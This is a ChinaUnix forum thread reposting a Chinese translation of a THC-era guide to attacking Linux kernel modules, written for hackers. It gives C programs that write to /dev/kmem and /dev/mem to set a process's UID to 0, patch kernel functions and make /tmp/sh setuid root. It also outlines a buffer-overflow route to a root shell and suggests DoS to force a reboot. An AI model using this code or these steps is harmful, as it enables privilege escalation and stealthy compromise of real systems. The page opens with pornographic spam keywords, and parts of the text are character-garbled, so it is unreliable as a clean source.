亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
查看: 4331 | 回復(fù): 3
打印 上一主題 下一主題

如何偷襲LKM成功 [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報告]
發(fā)表于 2009-01-05 16:20 |只看該作者 |倒序瀏覽
Linux可卸載內(nèi)核模塊完全指南(三)
藍(lán)森林 http://www.lslnet.com 2000年9月20日 23:56

作 者﹕ Pragmatic

第四部分 一些更好的想法(給hacker的)


4.1 擊敗系統(tǒng)管理員的LKM的方法
這一部分會給我們對付一些使用LKM保護內(nèi)核的多疑(好的)的管理員的方法。在解釋了所有系統(tǒng)管理員能夠使用的方法之后,很難為我們(hackers)找到一個更好的辦法。我們需要離開LKM一會兒,來尋找擊敗這些困難的保護的方法。

假定一個系統(tǒng)可以被管理員安裝上一個十分好的大范圍的監(jiān)視的LKM,他可以檢查那個系統(tǒng)的每一個細(xì)節(jié)。他可以做到第二或者第三部分提到的所有事情。

第一種除掉這些LKM的方法可以是重新啟動系統(tǒng)。也許管理員并沒有在啟動文件里面加載這些LKM。因此,試一些DoS攻擊或者其他的。如果你還不能除去這個LKM就看看其他的一些重要文件。但是要仔細(xì),一些文件有可能是被保護或者監(jiān)視的(見附錄A,里面有一個類似的LKM)。

假如你真的找不到LKM是在那里加載的等等,不要忘記系統(tǒng)是已經(jīng)安裝了一個后門的。這樣你就不可以隱藏文件或者進程了。但是如果一個管理員真正使用了這么一個超級的LKM,忘記這個系統(tǒng)吧。你可能遇到真正的好的對手并且將會有麻煩。對于那些確實想擊敗這個系統(tǒng)的,讀第二小節(jié)。

4.2 修補整個內(nèi)核-或者創(chuàng)建Hacker-OS

[注意﹕這一節(jié)聽上去可能有一些離題了。但是在最后我會給出一個很漂亮的想法(Silvio
Cesare寫的程序也可以幫助我們使用我們的LKM。這一節(jié)只會給出整個內(nèi)核問題的一個大概的想法,因為我只需要跟隨Sivio Cesare的想法]

OK,LKM是很好的。但是如果系統(tǒng)管理員喜歡在5。1中提到的想法。他做了很多來阻止我們使用我們在第二部分學(xué)到的美妙的LKM技術(shù)。他甚至修補他自己的內(nèi)核來使他的系統(tǒng)安全。他使用一個不需要LKM支持的內(nèi)核。

因此,現(xiàn)在到了我們使用我們最后一招的時候了﹕運行時內(nèi)核補丁。最基本的想法來自我發(fā)現(xiàn)的一些源程序(比如說Kmemthief),還有Silvio
Cesare的一個描述如何改變內(nèi)核符號的論文。在我看來,這種攻擊是一種很強大的'內(nèi)核入侵'。我并不是懂得每一個Un*x,但是這種方法可以在很多系統(tǒng)上使用。這一節(jié)描述的是運行時內(nèi)核補丁。但是為什么不談?wù)剝?nèi)核文件補丁呢﹖每一個系統(tǒng)有一個文件來代表內(nèi)核,在免費的系統(tǒng)中,像FreeBSD,Linux,。。。。,改變一個內(nèi)核文件是很容易的。但是在商業(yè)系統(tǒng)中呢﹖我從來沒有試過。但是我想這會是很有趣的﹕想象通過一個內(nèi)核的補丁作為系統(tǒng)的后門.你只好重新啟動系統(tǒng)或者等待一次啟動。(每個系統(tǒng)都需要啟動)。但是這個教材只會處理運行時的補丁方式。你也許說這個教材叫入侵Linux可卸載內(nèi)核模塊,并且你不想知道如何補丁整個內(nèi)核。好的,這一節(jié)將會教會我們?nèi)绾?insmod'LKM到一個十分安全的,或者沒有LKM支持的系統(tǒng)。因此我們還是學(xué)到了一些和LKM有關(guān)的東西了。

因此,讓我們開始我們最為重要的必須處理的東西,如果我們想學(xué)習(xí)RKP(Runtime Kernel
Patching)的話。這就是/dev/kmem文件。他可以幫助我們看到(并且更改)整個我們的系統(tǒng)的虛擬內(nèi)存。[注意﹕這個RKP方法在通常情況下是十分有用的,如果你控制了那個系統(tǒng)以后。只有非常不安全的系統(tǒng)才會讓普通用戶存取那個文件]。

正如我所說的,/dev/kmem可以使我們有機會看到我們系統(tǒng)中的每一個內(nèi)存字節(jié)(包括swap)。這意味著我們可以存取整個內(nèi)存,這就允許我們操縱內(nèi)存中的每一個內(nèi)核元素。(因為內(nèi)核只是加載到系統(tǒng)內(nèi)存的目標(biāo)代碼)。記住/proc/ksyms文件記錄了每一個輸出的內(nèi)核符號的地址。因此我們知道如何才能通過更改內(nèi)存來控制一些內(nèi)核符號。下面讓我們來看看一個很早就知道的很基本的例子。下面的(用戶空間)的程序獲得了task_structure的地址和某一個PID.在搜索了代表某個PID的任務(wù)結(jié)構(gòu)以后,他改變了每個用戶的ID域使得UID=0。當(dāng)然,今天這樣的程序是毫無用處的。因為絕大多數(shù)的系統(tǒng)不會允許一個普通的用戶去讀取/dev/kmem。但是這是一個關(guān)于RKP的好的介紹。


  1. /*注意﹕我沒有實現(xiàn)錯誤檢查*/

  2. #include <stdio.h>

  3. #include <stdlib.h>

  4. #include <unistd.h>

  5. #include <fcntl.h>


  6. /*我們想要改變的任務(wù)結(jié)構(gòu)的最大數(shù)目*/

  7. #define NR_TASKS 512


  8. /*我們的任務(wù)結(jié)構(gòu)-〉我只使用了我們需要的那部分*/

  9. struct task_struct {

  10. char a[108];       /*我們不需要的*/

  11. int pid;

  12. char b[168];       /*我們不需要的*/

  13. unsigned short uid,euid,suid,fsuid;

  14. unsigned short gid,egid,sgid,fsgid;

  15. char c[700];       /*我們不需要的*/

  16. };


  17. /*下面是原始的任務(wù)結(jié)構(gòu),你可以看看還有其他的什么是你可以改變的

  18. struct task_struct {

  19. volatile long state;

  20. long counter;

  21. long priority;

  22. unsigned long signal;

  23. unsigned long blocked;

  24. unsigned long flags;

  25. int errno;

  26. long debugreg[8];

  27. struct exec_domain *exec_domain;

  28. struct linux_binfmt *binfmt;

  29. struct task_struct *next_task, *prev_task;

  30. struct task_struct *next_run, *prev_run;

  31. unsigned long saved_kernel_stack;

  32. unsigned long kernel_stack_page;

  33. int exit_code, exit_signal;

  34. unsigned long personality;

  35. int dumpable:1;

  36. int did_exec:1;

  37. int pid;

  38. int pgrp;

  39. int tty_old_pgrp;

  40. int session;

  41. int leader;

  42. int groups[NGROUPS];

  43. struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;

  44. struct wait_queue *wait_chldexit;

  45. unsigned short uid,euid,suid,fsuid;

  46. unsigned short gid,egid,sgid,fsgid;

  47. unsigned long timeout, policy, rt_priority;

  48. unsigned long it_real_value, it_prof_value, it_virt_value;

  49. unsigned long it_real_incr, it_prof_incr, it_virt_incr;

  50. struct timer_list real_timer;

  51. long utime, stime, cutime, cstime, start_time;

  52. unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;

  53. int swappable:1;

  54. unsigned long swap_address;

  55. unsigned long old_maj_flt;

  56. unsigned long dec_flt;

  57. unsigned long swap_cnt;

  58. struct rlimit rlim[RLIM_NLIMITS];

  59. unsigned short used_math;

  60. char comm[16];

  61. int link_count;

  62. struct tty_struct *tty;

  63. struct sem_undo *semundo;

  64. struct sem_queue *semsleeping;

  65. struct desc_struct *ldt;

  66. struct thread_struct tss;

  67. struct fs_struct *fs;

  68. struct files_struct *files;

  69. struct mm_struct *mm;

  70. struct signal_struct *sig;

  71. #ifdef __SMP__

  72. int processor;

  73. int last_processor;

  74. int lock_depth;

  75. #endif

  76. };

  77. */

  78. int main(int argc, char *argv[])

  79. {

  80. unsigned long task[NR_TASKS];

  81. /*用于特定PID的任務(wù)結(jié)構(gòu)*/

  82. struct task_struct current;

  83. int kmemh;

  84. int i;

  85. pid_t pid;

  86. int retval;

  87. pid = atoi(argv[2]);

  88. kmemh = open("/dev/kmem", O_RDWR);

  89. /*找到第一個任務(wù)結(jié)構(gòu)的內(nèi)存地址*/

  90. lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);

  91. read(kmemh, task, sizeof(task));

  92. /*遍歷知道我們找到我們的任務(wù)結(jié)構(gòu)(由PID確定)*/

  93. for (i = 0; i < NR_TASKS; i++)

  94. {

  95. lseek(kmemh, task[i], SEEK_SET);

  96. read(kmemh, &current, sizeof(current));

  97. /*是我們的進程么*/

  98. if (current.pid == pid)

  99. {

  100. /*是的,因此改變UID域。。。。*/

  101. current.uid = current.euid = 0;

  102. current.gid = current.egid = 0;

  103. /*寫回到內(nèi)存*/

  104. lseek(kmemh, task[i], SEEK_SET);

  105. write(kmemh, &current, sizeof(current));

  106. printf("Process was found and task structure was modified\n");

  107. exit(0);

  108. }

  109. }

  110. }
復(fù)制代碼


關(guān)于這個小程序沒有什么太特殊的地方。他不過是在一個域中找到某些匹配的,然后再改變某些域罷了。除此之外還有很多程序來做類似的工作。你可以看到,上面的這個例子并不能幫助你攻擊系統(tǒng)。他只是用于演示的。(但是也許有一些弱智的系統(tǒng)允許用戶寫/dev/kmem,我不知道)。用同樣的方法你也可以改變控制系統(tǒng)內(nèi)核信息的模塊結(jié)構(gòu)。通過對kmem操作,你也可以隱藏一個模塊﹔我在這里就不給出源代碼了,因為基本上和上面的那個程序一樣(當(dāng)然,搜索是有點難了
﹕))。通過上面的方法我們可以改變一個內(nèi)核的結(jié)構(gòu)。有一些程序是做這個的。但是,對于函數(shù)我們怎么辦呢﹖我們可以在網(wǎng)上搜索,并且會發(fā)現(xiàn)并沒有太多的程序來完成這個。當(dāng)然,對一個內(nèi)核函數(shù)進行補丁會更有技巧一些(在后面我們會做一些更有用的事情)。對于sys_call_table結(jié)構(gòu)的最好的入侵方法就是讓他指向一個完全我們自己的新的函數(shù)。下面的例子僅僅是一個十分簡單的程序,他讓所有的系統(tǒng)調(diào)用什么也不干。我僅僅插入一個RET(0xc3)在每一個我從/proc/ksyms獲得的函數(shù)地址前面。這樣這個函數(shù)就會馬上返回,什么也不做。


  1. /*同樣的,沒有錯誤檢查*/

  2. #include <stdio.h>

  3. #include <stdlib.h>

  4. #include <unistd.h>

  5. #include <fcntl.h>

  6. /*不過是我們的返回代碼*/

  7. unsigned char asmcode[]={0xc3};

  8. int main(int argc, char *argv[])

  9. {

  10. unsigned long counter;

  11. int kmemh;

  12. /*打開設(shè)備*/

  13. kmemh = open("/dev/kmem", O_RDWR);

  14. /*找到內(nèi)存地址中函數(shù)開始的地方*/

  15. lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);

  16. /*寫入我們的補丁字節(jié)*/

  17. write(kmemh, &asmcode, 1):

  18. close(kmemh);

  19. }
復(fù)制代碼


讓我們總結(jié)一下我們目前所知道的﹕我們可以改變?nèi)魏蝺?nèi)核符號﹔這包括一些像sys_call_table[]這樣的東西,還有其他任何的函數(shù)或者結(jié)構(gòu)。記住每個內(nèi)核補丁只有在我們可以存取到/dev/kmem的時候才可以使用。但是我們也知道了如何保護這個文件?梢钥3.5.5。

4.2.1 如何在/dev/kmem中找到內(nèi)核符號表

在上面的一些基本的例子過后,你也許會問如何更改任何一個內(nèi)核符號以及如何才能找到有趣的東西。在上面的例子中,我們使用/proc/ksyms來找到我們需要改變的符號的地址。但是當(dāng)我們在一個內(nèi)核里面沒有LKM支持的系統(tǒng)時該怎么辦呢﹖這將不會有/proc/ksyms這個文件了,因為這個文件只用于管理模塊。(公共的,或者存在的符號)。那么對于那些沒有輸出的內(nèi)核符號我們該怎么辦呢﹖我們怎樣才能更改他們﹖


呵呵,有很多問題。現(xiàn)在讓我們來找一些解決的方案。Silvio Cesare討論過一些發(fā)現(xiàn)不同的內(nèi)核符號的方法(公共的或者不公開的)。他指出當(dāng)編譯Linux內(nèi)核的時候,一個名字叫System。map的文件被創(chuàng)建,他映射每一個內(nèi)核的符號到一個固定的地址。這個文件只是在編譯的時候解析這些內(nèi)核的符號的時候才需要。運行著的系統(tǒng)沒有必要使用這個文件。這些編譯時候使用的地址和/dev/kmem里面使用的使一樣的。因此,通常的步驟是﹕

查找system。map來獲得需要的內(nèi)核符號

找到我們的地址

改變內(nèi)核符號(結(jié)構(gòu),函數(shù),或者其他的)

聽上去相當(dāng)?shù)娜菀。但是這里會有一個大問題。每一個系統(tǒng)并不使用和我們一樣的內(nèi)核,因此他們的內(nèi)核符號的地址也不會和我們的一樣。而且在大多數(shù)系統(tǒng)中你并不會找到一個有用的system。map文件來告訴你每一個地址。那我們應(yīng)該怎么辦呢﹖Silvio
Cesare建議我們使用一種關(guān)鍵碼搜尋的方法。只要使用你的內(nèi)核,讀一個符號的開始的十個字節(jié)的(是隨機的)值,并且把這十個值作為關(guān)鍵碼來在另一個內(nèi)核中搜尋地址。如果你不能為某個符號找到一個一般的關(guān)鍵碼,你可以嘗試找到這個符號和系統(tǒng)其他你可以找到關(guān)鍵碼的符號的關(guān)系。要找到這種關(guān)系你可以看內(nèi)核的源代碼。通過這種方法,你可以找到一些你可以改變的有趣的內(nèi)核符號。(補丁)。

4.2.2 新的不需要內(nèi)核支持的'insmod'

現(xiàn)在到了我們回到我們的LKM入侵上的時候了。這一節(jié)將會向你介紹Silvio
Cesare的kinsmod程序。我只會列出大體上的工作方法。這個程序的最為復(fù)雜的部分在于處理(elf文件)的目標(biāo)代碼和內(nèi)核空間的映射。但是這只是一個處理elf頭的問題,不是內(nèi)核問題。Silvio
Cesare使用elf文件是因為通過這種方法你可以安裝[正常]的LKMs。當(dāng)然也可以寫一個文件(僅僅是操作碼-〉看我的RET例子)并且插入這個文件,這會有點難,但是映射會很容易。對于那些想真正理解elf文件處理的,我把Silvio
Cesare的教材加進來了。(我已經(jīng)做了,因為Silvio Cesare希望他的源代碼或者想法只能在那份教材里面作為一個整體傳播)。

現(xiàn)在讓我們來看看在一個沒有LKM支持的系統(tǒng)中插入LKM的方法。

如果我們想插入代碼(一個LKM或者其他的任何東西),我們將要面對的第一個問題是如何獲得內(nèi)存。我們不能取一個隨機的地址然后就往/dev/kmem里面寫我們的目標(biāo)代碼。因此我們必須找到一個放我們的代碼的地方,他不能傷害到我們的系統(tǒng),而且不能因為一些內(nèi)核操作就被內(nèi)核釋放。有一個地方我們可以插入一些代碼,看一眼下面的顯示所有內(nèi)核內(nèi)存的圖表﹕

kernel data

...

kmalloc pool

Kmalloc
pool是用來給內(nèi)核空間的內(nèi)存分配用的(kmalloc(...))。我們不能把我們的代碼放在這里,因為我們不能確定我們所寫的這個地址空間是沒有用的。現(xiàn)在看看Silvio Cesare的想法﹕kmalloc pool在內(nèi)存中的邊界是存在內(nèi)核輸出的memory_start和memory_end里面的。(見/proc/ksyms)。有意思的一點在于開始的地(memory_start)并不是確切的kmalloc pool的開始地址。因為這個地址要和下一頁的memory_start對齊。因此,會有一些內(nèi)存是永遠(yuǎn)都不會被用到的。(在memory_start和真正的kmalloc pool的開始處)。這是我們插入我們的代碼的最好的地方。OK,這并不是所有的一切。你也許會意識到在這個小小的內(nèi)存空間里面放不下任何有用的LKM。Silvio Cesare把一些啟動代碼放在這里。這些代碼加載實際的LKM。通過這個方法,我們可以在缺乏LKM支持的系統(tǒng)上加載LKM。請閱讀Silvio Cesare的論文來獲得進一步的討論以及如何實際上將一個LKM文件(elf 格式的)映射到內(nèi)核。這會有一點難度。

4.3 最后的話

第二節(jié)的主意很好。但是對于那些不允許存取kmem的系統(tǒng)呢﹖最后的一個方法就是利用一些內(nèi)核系統(tǒng)漏洞來插入/改變內(nèi)核空間。在內(nèi)核空間總是要有一些緩沖區(qū)溢出或者其他的毛病。還要考慮到一些模塊的漏洞。只要看一眼內(nèi)核的許多源文件。甚至用戶空間的程序也可以幫助我們改變內(nèi)核。

我還記得,在幾個星期以前,一個和svgalib有關(guān)的漏洞被發(fā)現(xiàn)。每一個程序通過使用svgalib來獲得一個向/dev/mem的寫權(quán)限。/dev/mem也可以被RKP用來獲得和/dev/kmeme一樣的地址。因此看一看下面的列表,來獲得一些如何在一個非常安全的系統(tǒng)中做RKP的方法﹕

找到一個使用svgalib的程序。

檢查那個程序,獲得一個一般的緩沖區(qū)溢出(這應(yīng)該并不會太難)

寫一個簡單的程序來啟動一個程序,打開/dev/mem,獲得寫句柄,并且可以操縱任務(wù)結(jié)構(gòu)使得你的進程的UID=0

創(chuàng)建一個root的shell

這個機制通常運行的很好(zgv,gnuplot或者其他的一些著名的例子)。為了獲得這個任務(wù)結(jié)構(gòu)一些人使用下面的Nergal的程序(這是使用了打開寫句柄的)


  1. /*Nergal的作品*/

  2. #define SEEK_SET 0

  3. #define __KERNEL__

  4. #include <linux/sched.h>

  5. #undef __KERNEL__

  6. #define SIZEOF sizeof(struct task_struct)

  7. int mem_fd;

  8. int mypid;

  9. void

  10. testtask (unsigned int mem_offset)

  11. {

  12. struct task_struct some_task;

  13. int uid, pid;

  14. lseek (mem_fd, mem_offset, SEEK_SET);

  15. read (mem_fd, &some_task, SIZEOF);

  16. if (some_task.pid == mypid)

  17. /*是我們的任務(wù)結(jié)構(gòu)么﹖*/

  18.   {

  19.    some_task.euid = 0;

  20.    some_task.fsuid = 0;

  21.    /*chown需要這個*/

  22.    lseek (mem_fd, mem_offset, SEEK_SET);

  23.    write (mem_fd, &some_task, SIZEOF);

  24.    /*從現(xiàn)在起,對于我們來說沒有法律。。。*/

  25.    chown ("/tmp/sh", 0, 0);

  26.    chmod ("/tmp/sh", 04755);

  27.    exit (0);

  28.   }

  29. }

  30. #define KSTAT 0x001a8fb8

  31. /*《-改變這個地址為你的kstat*/

  32. main ()        

  33. /*通過執(zhí)行/proc/ksyms|grep kstat*/

  34. {

  35. unsigned int i;

  36. struct task_struct *task[NR_TASKS];

  37. unsigned int task_addr = KSTAT - NR_TASKS * 4;

  38. mem_fd = 3;        

  39. /*假定要打開的是/dev/mem*/

  40. mypid = getpid ();

  41. lseek (mem_fd, task_addr, SEEK_SET);

  42. read (mem_fd, task, NR_TASKS * 4);

  43. for (i = 0; i < NR_TASKS; i++)

  44.   if (task[i])

  45.    testtask ((unsigned int)(task[i]));

  46. }

復(fù)制代碼


這只不過是一個例子,是為了告訴你不管怎么樣,你總是能夠找到一些方法的。對于有堆棧執(zhí)行權(quán)限的系統(tǒng),你可以找堆棧溢出,或者跳到某些庫函數(shù)(system(...)).會有很多方法……

我希望這最后的一節(jié)可以給你一些如何繼續(xù)的提示。


第五部分 最近的一些東西﹕2.2.x版本的內(nèi)核

5.1 對于LKM作者來說,一些主要的不同點

Linux有了一個新的主版本﹕2.2在LKM編程上,他帶給我們一些小的改變。這一部分將會幫助你適應(yīng)這些變化,并且列出了大的一些變化。[注意﹕關(guān)于新的版本的內(nèi)核,會有另一個發(fā)布版本]

我會向你介紹一些新的宏和函數(shù)來幫助你開發(fā)2.2版本的內(nèi)核的LKM。要獲得每一個確切的變化可以看新的頭文件linux/module.h。這個文件在2.1.18版本的內(nèi)核中被完全的重寫了。首先讓我們來看看一些可以幫助我們更方便的處理系統(tǒng)調(diào)用表的宏﹕

宏描述

EXPORT_NO_SYMBOLS﹕這一個相當(dāng)于舊版本內(nèi)核的register_symtab(NULL)

EXPORT_SYMTAB﹕如果你想輸出一些符號的話,必須在linux/module.h前面定義這個宏

EXPORT_SYMBOL(name)﹕輸出名字叫'name'的宏

EXPORT_SYMBOL_NOVERS(name)﹕沒有版本信息的輸出符號

用戶空間的存取函數(shù)也有很大的變化。因此我會在這里列出來(只要包含asm/uaccess.h來使用他們)﹕

函數(shù)描述

int access_ok (int type, unsigned long addr, unsigned long size);

這個函數(shù)檢查是否當(dāng)前進程允許存取某個地址

unsigned long copy_from_user (unsigned long to, unsigned long from,
unsigned long len);

這個是新的memcpy_tofs函數(shù)

unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned
long len);

這是相對應(yīng)的copy_from_user(...)

你沒有必要使用access_ok(...),因為上面列出的函數(shù)都自己檢查這個。還有許多不一樣的地方,但是你可以看看linux/module.h來獲得一個詳細(xì)的列表。

我最后想提一件事情。我寫了很多關(guān)于內(nèi)核守護進程(kerneld)的東西。2.2版的內(nèi)核不會再使用kerneld了。他使用另外一種方法來實現(xiàn)內(nèi)核空間的request_module(...)函數(shù)-叫做kmod。kmod完全是運行在內(nèi)核空間的(不再IPC到用戶空間了)。對于LKM程序員來說,沒有什么大的變化。你還是可以使用request_module(...)來加載模塊。因此LKM傳染者還是可以在2.2的內(nèi)核中使用。

我很抱歉關(guān)于2.2內(nèi)核只有這么少的東西。但是目前我正在寫一個關(guān)于2.2內(nèi)核安全的論文(特別是LKM的)。因此請注意新的THC發(fā)布的論文。我甚至計劃工作在一些BSD系統(tǒng)上(FreeBSD,OpenBSD,例如)但是這會發(fā)幾個月的時間。

第六部分 最后的話

6.1 LKM傳奇以及如何使得一個系統(tǒng)即好用又安全

你大概會感到奇怪,既然LKM這么的不安全,那么為什么要使用他們呢。最初LKM是被設(shè)計使得用戶更為方便的。Linux和Microsoft相對立,因此開發(fā)者們需要一個使得老的Unxi系統(tǒng)更為吸引人和容易的方法。他們實現(xiàn)了KDE和其他很好的東西。比如說,kerneld就是被用來使得模塊處理更為容易的。但是要記住,越為簡單和自動化的系統(tǒng)就會有越多的安全問題。不可能同時使得一個系統(tǒng)既讓用戶感到很方便又有足夠的安全性。模塊就是一個很好的這樣的例子。

Microsoft給了我們另外一個例子﹕考慮ActiveX,他(大概)是個好主意,用一個安全的設(shè)計來保証一切都是簡單的。

因此,親愛的Linux開發(fā)者們﹔請謹(jǐn)慎了,不要犯Microsoft的錯誤。不要創(chuàng)建一個好用,但是不安全的OS。把安全時刻記在心中﹗﹗﹗

這篇文章也很清楚的說明了任何系統(tǒng)的內(nèi)核必須用最好的方法進行保護。不能讓一個入侵者更改你系統(tǒng)中最為重要的部分。我把這個任務(wù)留給所有系統(tǒng)的設(shè)計者。﹕)

6.2 一些資源鏈接

下面是一些有用的關(guān)于LKM的鏈接(不僅僅是hack和安全相關(guān)的)

[網(wǎng)絡(luò)]
http://www.linuxhq.com
http://www.linuxlinks.com
http://www.linux.org
http://www.lwn.net
http://www.phrack.com
http://www.rootshell.com
http://www.geek-girl.com/bugtraq/
http://hispahack.ccc.de
http://r3wt.base.org
http://www.antisearch.com
http://www.kernel.org

[書]
Linux-Kernel-Programming (Addison Wesley)
Linux Device Drivers (O'Reilly)

[聲明]
感謝下面的朋友﹕

plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, Aleph1,
Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare,
daemon9, Nergal, van Hauser (為我找到了很多錯誤) and 還有那些無名的向我提過許多一件的個人(有太多了)﹗

問候
groups : THC, deep, ech0, ADM, =phake=

個人﹕
van Hauser - 感謝他給了我學(xué)習(xí)的機會
mindmaniac - 感謝他給我介紹了'第一次親密接觸'


后臺音樂支持(幫助我集中精力寫作)
Neuroactive, Image Transmission, Panic on the Titanic, Dracul

A - 附錄


在這里你會找到一些資源,如果LKM的作者發(fā)布了一些有趣的文檔,他們會被打印出來的。

a) LKM Infection by Stealthf0rk/SVAT
b) Heroin - the classic one by Runar Jensen
c) LKM Hider / Socket Backdoor by plaguez
d) LKM TTY hijacking by halflife
e) AFHRM - the monitor tool by Michal Zalewski
f) CHROOT module trick by FLoW/HISPAHACK
g) Kernel Memory Patching by ?
h) Module insertion without native support by Silvio Cesare

LKM Infector

名字 : moduleinfect.c

作者 : Stealthf0rk/SVAT

描述 : 這是第一個發(fā)布的LKM傳染者,我們在2.8討論過了。這個LKM沒有破壞的代碼,他僅僅是一個傳染者。因此實驗是沒有危險的。

鏈接 : http://www.rootshell.com


摘自﹕http://os.silversand.net

[ 本帖最后由 dreamice 于 2009-1-8 15:44 編輯 ]

評分

參與人數(shù) 1可用積分 +15 收起 理由
dreamice + 15 精品文章,多謝分享

查看全部評分

論壇徽章:
3
金牛座
日期:2014-06-14 22:04:062015年辭舊歲徽章
日期:2015-03-03 16:54:152015年迎新春徽章
日期:2015-03-04 09:49:45
2 [報告]
發(fā)表于 2009-01-05 16:40 |只看該作者
后面的字體有點問題,感謝分享

論壇徽章:
0
3 [報告]
發(fā)表于 2009-01-06 13:09 |只看該作者

回復(fù) #2 dreamice 的帖子

我是CTRL+V過來的.好文章大家都看看嘛.

論壇徽章:
3
金牛座
日期:2014-06-14 22:04:062015年辭舊歲徽章
日期:2015-03-03 16:54:152015年迎新春徽章
日期:2015-03-04 09:49:45
4 [報告]
發(fā)表于 2009-01-08 15:45 |只看該作者
應(yīng)白金兄的建議,把此貼編輯了一下,頂起來再學(xué)習(xí)一下
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報專區(qū)
中國互聯(lián)網(wǎng)協(xié)會會員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP